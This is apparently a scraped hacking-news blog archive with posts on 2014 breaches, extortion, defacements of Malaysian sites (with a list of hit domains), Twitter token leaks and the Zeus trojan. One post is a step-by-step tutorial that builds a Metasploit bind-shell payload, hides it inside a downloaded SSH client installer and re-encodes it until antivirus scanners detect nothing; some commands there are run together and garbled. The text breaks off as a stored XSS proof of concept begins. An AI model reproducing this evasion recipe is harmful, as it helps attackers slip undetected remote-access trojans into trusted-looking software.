[NEWS]Top Worst Cyber Attacks of 2014: An awesome Flashback!

Cyber attacks these days have become more sophisticated and elaborate, raising global concern over time to time. Of course, in the year of 2014 there has been an alarming number of hacking incidents and attacks targeting famous and renowned individuals and organizations.

Let’s take a flashback of the top cyber attacks which took place in the year 2014!

Although technology is progressing too fast and this is great, the same applies to the knowledge and skills of the “hackers” everywhere. So, only by being vigilant and up to date can we expect to develop the right defensive line against attacks and hacking attempts. Let’s have a flashback of the top incidents that have made it to shake the waters of the booming technology industry!

• Shellshock: This threat emerged in September and has been alternatively known as Bashdoor. The irony behind the Shellshock bug is that it had remained dormant for twenty years before being brought to light. Within just hours after its discovery, DDoS attacks have been triggered with the contribution of this bug. For some, the Shellshock incident has been even more intense than the Heartbleed bug that took place earlier in 2014.

• Heartbleed: The Heartbleed bug has been a severe vulnerability discovered in the OpenSSL protocol. Apparently, due to the vulnerability that emerged, the cryptographic function of the OpenSSL could not be performed. Without the encryption throughout the Internet traffic, communication can be leaked and data can be intercepted. This is what happened, causing frenzy online back in April and motivating all sites to request changing passwords and taking additional precautions.

• eBay Attack: 233 million users were stripped off their personal information, according to reports. Between February and March, hackers were able to gain access to usernames and passwords, phone numbers and addresses. This is perhaps the most gigantic data interception of 2014. Payment data has been left intact, but everyone was encouraged to alter all passwords immediately.

• Home Depot: The company admitted having suffered from a huge cyber attack in a statement published on 18th September, 2014. Unfortunately, 56 million credit and debit cards have been compromised due to this cyber attack. On the bright side, no PIN numbers were affected and therefore no monetary damage was completed to the holders of the cards.

• Yahoo Email: In January, the email service provider admitted having been under attack with a blog post published. Though there is no actual number of how many email accounts have been compromised, it is worth considering that Yahoo is the second most popular email service option universally (right after Gmail). It is estimated that about 273 million people have got a Yahoo email account – so, you do the Math!

• Gmail: Just to set things straight and even the score, Gmail has had 5 million usernames and passwords leaked in a Russian forum in September. In a statement,Gmail reassured the email account owners not to worry and informed of the advanced anti-hijacking service that is available for protecting login attempts from third parties. Still, the concern was grave and the lists were indeed leaked.

• Apple iCloud in China: This is not the first time the Great Firewall acted against products and services from the US. MITM (Man-In-The-Middle) attack was launched on Apple’s iCloud and confirmed by GreatFire.org. The Chinese Government is truly strict and does not allow companies to provide innovative technological alternatives to people in China, limiting in this way the liberty they enjoy.

• JP Morgan Chase: Another serious cyber attack was held on JP Morgan Chase during the summer of 2014. According to the reports, about 80 million households and their accounts have been compromised. You can imagine the range of information that has been leaked, including names and addresses.

• 4chan Photo Scandal: Starting in August, hundreds of nude photos including celebrities were published online under the banner of Fappening. The photos were obtained via Apple iCloud and there have been severe reactions by the celebrities and people who oppose to the lack of privacy. The scandal is also known as the“Celebgate” and the “Fappening”.

• Sony PlayStation: One of the most significant DDoS cyber attacks launched in 2014 was that of the group called Lizard Squad against Sony PlayStation. The company announced that no user data has been compromised, but the distress was evident as to what has triggered the attack and the extent of the damage.

• Staples Store Breach: The world’s largest office supply chain store Staples faced massive breach where personal details including names, credited card details of its 1.16 million customers were stolen.

• Anonymous vs. Ku Klux Klan (KKK): Anonymous leaked credit card details along with home address of racist white Christian Supremacist group KKK. The leak was done against KKK’s interference in Operation Ferguson.

Here is an amazing Infographic of the world’s biggest data breaches:

These have been the top hacking incidents for the year of 2014. Sadly enough, they are not the last cyber attacks to be launched on the web. As time passes by, hackers become more powerful and they choose their targets more wisely. However, shedding light to the threats that have been exposed can help us out, in the hope of becoming thoroughly aware of what to expect next!

SOURCE: HACKREAD.COM

Read more

by Malik korrich ~ dimanche 11 janvier 2015 0 commentaires

600,000 customers personal details stolen(dominos pizza hacked)

yes,the hacker group namely REX MUNDI claimed that they have enter into database of domino's pizaa (Belgium and France),they have download more than 590,000 personal details of customers such as full name of customer,address,phone number,emails ids and passwords from dominos France,and from Belgium dominos they have download 58,000 customer details,
this hacker group demands €30,000 to pay them for not disclosing stolen data on the internet,"Rex Mundi "has given a deadline of 8pm CEST tonight (7pm BST) for Dominos to pay them,"if they didn't received payment demanded they will post all stolen data on the internet "REX MUNDI SAID
we think they will post stolen data on the internet !!!
meet hackers
www.meethackers.com

€

€30,000

€30,000

Rex Mundi

Read more

by Malik korrich ~ mardi 17 juin 2014 0 commentaires

5 Years Old Boy Found Bug On XBOX

A five years old boy from San Diego named Kristoffer Von Hassel has found a bug on XBOX. He can log in into other's account by only pressing the SPACE button on the password column without entering any password. His father, shocked and feeling weird how can his son login into his account and play the game.

He told his father that he only entered the wrong password and then he pressed SPACE. With just that, he bypassed the auth. 

His father then reported this to the Microsoft. Kristoffer Von Hassel has been awarded from Microsoft for finding a bug in the XBOX.

SOURCE: Gila Hackers 

Read more

by Malik korrich ~ mardi 8 avril 2014 0 commentaires

Malaysian Site Hacked During Ops #Gila #Hempas As A Warning To The Govermernt of Malaysia

Once again, Malaysian Websites was attacked by hackers from their own country. If examined in detail, this time the attacks similar to the attack made by "Sofea Hana" during the last elections.

In the past, "Sofea Hana" listed several demands on the defense of the rights of the people, this time, Ops #Gila #Hempas also feature some of the claims. Defacement of them listed on the hacked website: -

1. Oppose PBS implementation burden teachers and students. They are not experiments whatever reason given
2. Abolish GST burden subtly .
3. Against Trans- Pacific Partnership agreement Agreement ( TPPA )
4. Kelantan willingly want to impose hudud. Let them implement hudud in advance while other states observe their development .   
5. People increasingly pinched as the cost of living rising . Please execute Free Education 
6. Multiply the number of affordable homes for the people.
7. Please MACC perform tasks more transparent and unbiased .
8. MACC urges probe leakages of public funds .
9. Eliminate leeches Road ( Suit AES) .
10. Please preserve the dignity of religious leaders is not just in the mouth alone, but through action .
11. Please execute the administration of religious mold in total, not per the British .
12. What's great about Taib Mahmud up her immune from MACC ? Please MACC bold and transparent in matters such as this !
13. Lower the price of the vehicle . We can not afford to wait until PRU14 .
14. Do not hide things about people , such as the rise in Senyap2 RON97 without the knowledge of the people .
15. Why is there a high profile case closed while there are still no solution ? Please transparency in the investigation, we the people do not forget . 

  List of the hacked websited that have been submitted in Zone-H

    http://www.kelab-umno.com/
    http://zone-h.org/mirror/id/21961302
    http://umnojb.com.my/
    http://zone-h.org/mirror/id/21961428
    http://analytics.valse.com.my/
    https://campaign.valse.com.my/system/admin/
    http://mcdns.valse.com.my/
    http://mvc.valse.com.my/
    http://paysuite.my/
    http://projects.valse.com.my/
    http://sim.valse.com.my/
    http://smsi.valse.com.my/
    http://stage.paysuite.my/
    http://support.valse.com.my/
    http://zone-h.org/mirror/id/21961252
    http://zone-h.org/mirror/id/21961253
    http://zone-h.org/mirror/id/21961254
    http://zone-h.org/mirror/id/21961255
    http://zone-h.org/mirror/id/21961256
    http://zone-h.org/mirror/id/21961251
    http://zone-h.org/mirror/id/21961250
    http://zone-h.org/mirror/id/21961249
    http://zone-h.org/mirror/id/21961248
    http://zone-h.org/mirror/id/21961247
    http://system.valse.com.my/
    http://valse.com.my/
    http://zone-h.org/mirror/id/21961283
    http://zone-h.org/mirror/id/21961284
    http://abadiheights.com.my/home.html
    http://abcidealpartners.com/
    http://abt.com.my/
    http://artpro.com.my/
    http://brainy.com.my/
    http://cerahkl.com/

Based on what we have been informed, Ops #Gila #Hempas this time joined by many local hacker groups including RED BEAN ARMY. 

SOURCE: TETIKUS.NET 

Read more

by Malik korrich ~ samedi 8 mars 2014 0 commentaires

Twitter.com Hacked Via Text Load Injection by ./BL4CK E4GL3

I found this around 2 AM last night, and it's quite suprising that twitter.com is vulnerable for Text Load Injection . Text load injection is where you're are allowed to inject text from ixData that is an indextable data type. So it will displays message as follow,

{"request":"\/i\/promoted_content\/log.json?BL4CK_E4GL3_W4S_H3RE",

"error":"Invalid event parameter provided."}

We will get that message by visiting the following link:

 https://twitter.com/i/promoted_content/log.json?BL4CK_E4GL3_W4S_H3RE  

I tried to sumbit it on Defacement Mirror like Zone-H, but I can't 

because someone already sumbitted Twitter.com to that mirror, and it was 

a FAKE defacement. WTF?

Read more

by Malik korrich ~ 0 commentaires

10 Notorious Female Hacker

10- Raven Adler

Often recognized as one of the most gifted and intelligent hackers in the world, Raven Adler graduated high school at just 14 and got her college degree at 18. As a frequent speaker at hacking and software conferences, Adler was also the first female to ever give a presentation at DefCon, one of the world’s most prestigious gathering of hackers. When asked about her appearance at DefCon, she often replies that she would like to be known for her work, not for being a female in the field. Currently, Adler specializes in securing data from end-to-end, and this has made her invaluable to both private and public organizations looking to protect sensitive information. She now works as a senior security consultant for a number of companies and continues to give lectures and regularly publish her work in industry magazines. She also works closely alongside a number of federal firms in an effort to secure their online databases.

9- Adeanne Cooke

Most of the world recognizes Adeanna Cooke as an international model regularly featured in Playboy, but her fans are often surprised to hear that she is also a well-established hacker and amateur computer programmer. With very little in the way of training, Cooke taught herself the basics of hacking and often uses it to further her modeling career. When her images were illegally used to make money by her long-time partner, Cooke took on the project of protecting her images and hacked the website to remove all of the stolen property. After this event Cooke was named “Hacker Fairy” and found her calling within the hacking industry. She now helps professional models and other women from being taken advantage of online.

8- Gigabyte

While many of the top female hackers are known for their legal work within the security sector, Gigabyte is on the opposite end of the spectrum. Her real name is Kim Vanvaeck and she was born and raised in Belgium. She is believed to have been the sole creator or primary creator of a number of high-end viruses including Coconut-A, Sahay-A, and Sharp-A meant to target hardware with sensitive information. Unlike many other viruses that were meant to steal private information in order to make money, these viruses were used to destroy the information itself. Law enforcement agencies have tried to paint her as a woman that is seeking notoriety in a field that is dominated by men, and Gigabyte’s name was traced to hundreds of viruses throughout the years. Recently, Vanvaeck was arrested just outside of her hometown of Mechelon near Brussels but was released within 24 hours on bail. She is currently accused of stealing and destroying private data and is facing 3 years in prison and over 100,000 Euros in fines.

7- Xiao Tian

After feeling female hackers had little outlet for their interest in technology, Xiao Tian created the renowned hacking group China Girl Security Team. Still a teenager, Tian quickly expanded the group to just over 2,200 members, all of which were female girls looking for a community in which they would feel welcome. This female hacking organization now has ties to some of the most infamous hacking groups throughout the world and has become one of the largest Chinese-based hacking groups. As with most well-known and outspoken groups of this nature, Xiao Tian and the rest of China Girl Security Team continue to receive attention from national and international police organizations due to their activities.

6- Kristina Vladimirovna Svechinskaya

Without question, Krisina Svechinskaya remains one of the most well-known names in hacking. This Russian hacker is also a top-notch New York University student, but most will recognize her from a string of high-end hacking jobs that have potentially resulted in millions of dollars lost. Specializing in the use of Trojan horses, Svechinskaya attacked thousands of bank accounts, most within the United States, and then created a series of fake accounts through both Bank of America and Wachovia. She then utilized nine other people to create fake passports, but was finally caught and is now under threat of multiple charges. Overall, some authorities estimate that she stole $3 million in as little as a few months.

5- Jude Milhon

Before passing away in 2003, Jude Milhon was a hacker and author best known under the pseudonym St. Jude. She began her career as a computer programmer in 1967 working with some of the earliest incarnations of the internet. As time went on, she began her slow transition into the life of a hacker and eventually started the hacking group Cypherpunks, not to be confused with cyberpunks. Milhon was one of the primary activists that stated hacking was nothing more than bringing out the potential of software and continued to lobby against all those that believed hacking was nothing more than a criminal act. Throughout her life she wrote book after book as well as contributed to a number of magazines within both the hacking industry and the computer programming industry.

4- Ying Cracker

When it comes to the world of female hackers, Ying Cracker can be seen as the professor that gives students their first taste of this unique field. Often referring to herself as an educator, Ying Cracker is a resident of Shanghai and believes that hacking is a useful skill that can be learned by anyone. This is why she has released multiple publications that teach introductory skills for hacking. Generally aimed at a younger crowd, Cracker helps students with information such as how to change one’s IP address or even scramble their personal passwords. Originally noticed on a message board for her looks, Ying Cracker has set out to convince the world that female hackers can add quite a bit to this field. As her primary form of income, she now offers free courses as well as tailor-made software to private and public organizations that would like to protect their sensitive data. She also offers paid courses for those that would like to move beyond the basics of hacking and get into high-end software development.

3- Joanna Rutkowska

Joanna Rutkowska is further proof that not all hackers are bad, and few specialists have done more for operating system security than this notorious hacker. Most widely regarded for her work with Windows Vista, Rutkowska shocked the world in the August 2006 Black Hat Briefing Convention in Las Vegas. In front of a crowd, Rutkowska demonstrated two simple methods for hacking into the Windows Vista beta. She also revealed a Blue Pill technique that allowed her to transfer a running operating system onto a virtual machine well before the worldwide use of virtual machines and virtual servers within the private sector. Named as one of the ‘Five Hackers who Put a Mark on 2006,’ this Polish hacker now helps customers with her international security firm. She continues to give lectures at conferences and works closely with some of the biggest software and hardware designers in the industry including Windows.

2- Natasha Grigori

Known simply as Natasha Grigori, a name partially taken from Bullwinkle’s nemesis in the classic children’s cartoon, very little information has been revealed to the world about this famous hacker. Her career as a hacker begun in the 1980s but she did not receive fame until the early 1990s with a bulletin-board website for amateur programmers and hackers. With this site, she helped others share, release, and hack various forms of software, but she found another calling in the late 1990s when she founded antichildporn.org, also known as ACPO and Anti-Child Porn Organization. This website has become one of the largest crusaders against online child pornography and countless hackers utilize techniques learned from Grigori to help law enforcement agencies find and prosecute distributors. One of Grigori’s largest projects was centered on software that will automatically glean information from tens of thousands of suspected URLs and track those that are sending and receiving data with those websites. She has stated that once completed, the fully-developed software will then be shared with the authorities for finding and prosecuting criminals. Unfortunately, Natasha Grigori lost her battle with a severe illness on November 11, 2005, but ACPO has been left behind as a viable and effective organization that continues to operate today.


1- Susan Headly

With her career stretching back decades, Susan Headley has undergone her fair share of nicknames including both Susy Thunder and Susan Thunder. Going all the way back to 1970s, Headley was one of the first females to join one of the most renowned hacking groups in history, Cyberpunks. Throughout the 1970s and 80s, this organization continued to advance the field of hacking and created some of the most common tactics that are still used today. Over time, Headley created her own offshoot organization known as the Roscoe Gang, but she eventually gave up her hacking career to move to Las Vegas and become a professional poker player. In a twist that very few professional hackers undergo, Headley decided that she was ready for public office, even in a minor position, and was elected as the City Clerk in California City in 1994.


SOURCE: http://www.computersciencedegreehub.com/10-notorious-female-hackers/

Read more

by Malik korrich ~ mardi 4 février 2014 0 commentaires

15k Twitter Account Hacked, A True Story?

Few days back an article was published on techworm.in, where a hacker named "Mauritania Attacker" leaked claimed to leak thousands of twitter accounts, the data was made available for public to use and was uploaded on zippyshare.com. The data contained the twitterid, twitternick, oauthtoken nand oauth_token_secret.

How Was the data breached?

Well, it seems to me that the database of a third party app was breached which contained the list of Oauth tokens. In laymen terms oauth is used for authorizing the third party applications without the need of giving them the password. 

The application is granted an access token which it uses to authorize it selves, which means that an attacker having hold of the access token would be able to access the twitter accounts without the need of a password. The Oauth tokens can be easily be by tampering the request with a webapplication proxy such as Tamper Data, Burp suite etc. Twitter has recently introduced Two step authentication, however it isn't much handy in this case.

How Twitter Users Can Protect Themselves?  

Well, if the attacker keeps compromising database of the third party applications and getting the hold of the oauth tokens, then their is not much that twitter can do, Since they can protect their database from being breached, however they certainly have no hold of the third party application database.

Twitter users are advised to revoke access to all the third party application and reauthorize them, therefore the access tokens would be expired and the attacker would not be able to use them. Twitter users should only use trusted third party applications and when they are not using any of them, they should revoke the access so that the access token would be expired.

Facebook, has also known issues with their oauth in past, Security reseachers have pointed multiple flaws and all of them relied upon stealing of the oauth tokens, The issue with twitter in this case is a bit different, the access tokens were compromised due to a third party app, whereas in facebook oauth tokens could have been compromised due to a flaw inside it's design.

Twitter has denied the claims made by an attacker that any part of the twitter's database was compromised, which seems true to me. The Mauritania Attacker has posted a status on his facebook that he will reveal exactly how the access tokens were compromised today to techworm.

Stay subscribed to RHA for more of the security insights. 

Read more

by Malik korrich ~ mercredi 21 août 2013 0 commentaires

Malware Not To Decrease Any Time Soon!

There are now more than 1 billion smartphone users around the world, many of whom are connected to always-live cloud services. While e-mail and social media accounts are synced with their PC counterparts to create a seamless solution for cross-platform communication, we are now beginning to see some of the major security issues that have been created.
Malware, software intended to damage or take control of a computer system, is spreading through these open channels causing infections at alarming rates. In 2012, mobile malware increased by 1200% and 32% of desktop computers were identified as being infected with a trojan, worm or virus. Many of these infections can be avoided by using a freeware software solution such as Spybot, although new types of malware are released daily that can avoid immediate detection. In the following infographic some incredible statistics have been compiled into a guide explaining the process of infection, the information at stake and helpful tips on protecting yourself from a technological and potentially identity-stealing disaster.

Read more

by Malik korrich ~ mercredi 17 juillet 2013 0 commentaires

How Your Bank Accounts Can Be Stolen With Zeus Virus?

The 'Zeus Trojan Horse' Virus once again had a come back. According to a resource, it has an ability to drain your Bank accounts easily.

Zeus Virus can propagate through phishing messages that are generated from the account that was already compromised with phishing. That phished account will then start sending messages to your friends containing links to the ads and would ask them to simply check-out the video or product by clicking on such links. This way the virus will go viral.


Readers are requested to stay refrain from clicking such links, because they might end up getting their accounts compromised The virus is very sophisticated, so that it could replace the website of a bank with the mimicked page of its own.

That fake page could then ask for your security information and some other important data that could be easily sold in black market.

According to many sources, perhaps it has been confirmed that those pages are being hosted by Russian Mafia (known as Russian Business Network as well).

About Zeus(Virus)

The virus is well-known for what it use to do. It was detected once back in 2007, and after that detection it started to spread online. The virus is well-designed so that if you would click on it, the possible and important data like Passwords and Bank Accounts can be stolen easily.

Does Facebook Took Action Against It?

Facebook is aware of it, but it is unlikely that Facebook is going to take any action against it.

The founder of advocacy group Fans Against Kounterfeit Enterprise (FAKE) said that he was trying to alert Facebook about this issue to take action against it as soon as possible, but unluckily he was not satisfied well with their response.

Those who are using windows should stay much careful about this issue. It has been said that Windows devices are much infected with this virus. Hence, Mac OS X or Linux are still safe of this virus.

Some countries like USA and UK are badly infected, though, India, Russia, Canada and France are also infected with the virus at some moderate  limits. Some other countries like Australia, Argentina, Brazil, South Africa, Chile, Saudi Arabia, Pakistan, Indonesia and some other South-East Asian and European countries are less affected by this virus.

Read more

by Malik korrich ~ lundi 10 juin 2013 0 commentaires

How To Bypass Antivirus Detection - Making An Executable FUD

So in this tutorial we will show you step by step on how to make a virus Fully Undetectable from all the antiviruses. Thought their are lots of approaches, however our team member Malik Rafay has managed to find a way to make an executable FUD using msfencode.

Requirements 

A Backtrack machine , real or virtual. I used Backtrack 5 r3, but other versions of Backtrack are working OK too !!!

Attention !!!


We are using some harmless test files but don't infect people with any real viruses that's a Crime and we here at RHA are not responsible for

Purpose:

Antivirus protects machines from malware but not all of it .there are ways to pack malware to make it harder to detect. well use metasploit to render malware completely invisible to antivirus.

Creating a Listener:

This is a simple payload that gives the attacker remote control of a machine. It is not a virus ant won't spread, but it is detected by antivirus engines. In Backtrack in a Terminal windows execute these commands: 

cd
msfpayload windows/shell_bind_tcp LPORT=2482 X > /root/listen.exe
ls -l listen.exe

You should see the test.exe file as shown below:

Analyzing the Listener with VirusTotal

Go to https://www.virustotal.com/en/

Click the "Choose File" button. Navigate to /root and double-click the listen.exe"listen.exe" appears in the "Choose File" box, as shown below:

In the virustotal web page , Click the "scan it" button !!!

If you see a "File already analyzed" message, click the "View last analysis" button.

The analysis shows that many of the antivirus engines detected the file--33 out of 42, when I did it, as shown below. You may see different numbers, but many of the engines should detect it.

Encoding the Listener

this process will encode the listener, & insert it into an innocent SSH file.

In BackTrack, in a Terminal window, execute these commands:

wget ftp://ftp.ccsf.edu/pub/SSH/sshSecureShellClient-3.2.9.exemsfencode -i /root/listen.exe -t exe -x /root/sshSecureShellClient-3.2.9.exe -k -o /root/evil_ssh.exe -e x86/shikata_ga_nai -c 1ls -l evil*

You should see the evil-ssh.exe file as shown below :

Scan with virusTOTAL

Go to: https://www.virustotal.com/

If you see a "File already analyzed" message, click the "View last analysis" button.

The analysis shows that fewer of the antivirus engines detect the file now--21 out of 42, when I did it, as shown below. You may see different numbers.

 

Encode the Listener Again This process will encode the listener with several different encodings.

In BackTrack, in a Terminal window, execute these commands:

msfencode -i /root/test.exe -t raw -o /root/listen2.exe -e x86/shikata_ga_nai -c 1msfencode -i /root/listen2.exe -t raw -o

/root/listen3.exe -e x86/jmp_call_additive -c 1
msfencode -i /root/test3.exe -t raw -o /root/test4.exe -e x86/call4_dword_xor -c 1

msfencode -i /root/test4.exe -o /root/test.exe -e x86/shikata_ga_nai -c 1ls -l listen*

You should see several files as shown below :

Analyzing Again

The analysis shows that fewer of the antivirus engines detect the file now 0 out of 42 When I did it as shown below. you may see different numbers.

About The Author

The article is written by Malik Rafay, He is an independent security researcher and is the newest member on RHA team. You can contact him here.

Source

- http://samsclass.info/120/proj/p6x-AV-bypass.html

Read more

by Malik korrich ~ dimanche 2 juin 2013 0 commentaires

Introducing Evil In Your Website With Untrusted Third Party Scripts

This is a small case study, where my aim is to explain why you shouldn't use untrusted third party scripts on your website. Htmlcommentbox is a third part script that could be embedded into any webpage would bring a place where users can comment and interact with each, I feel it is poorly coded from both user's perspective and security perspective as it could introduce lots of spam in your website.

Let's talk about what else could it do else than introducing spam from security perspective. We [Me and Pepe Vila] have found two attack vectors with the HtmlCommentBox as Does not sanitise the user input's properly resulting in a stored xss and also a reflected xss, which obviously leaves wide variety of attack vectors from the attacker's perspective.

Stored XSS POC

The POC is very simple, Seems like that you can inject any thing as long as you don't close the tag:

Example: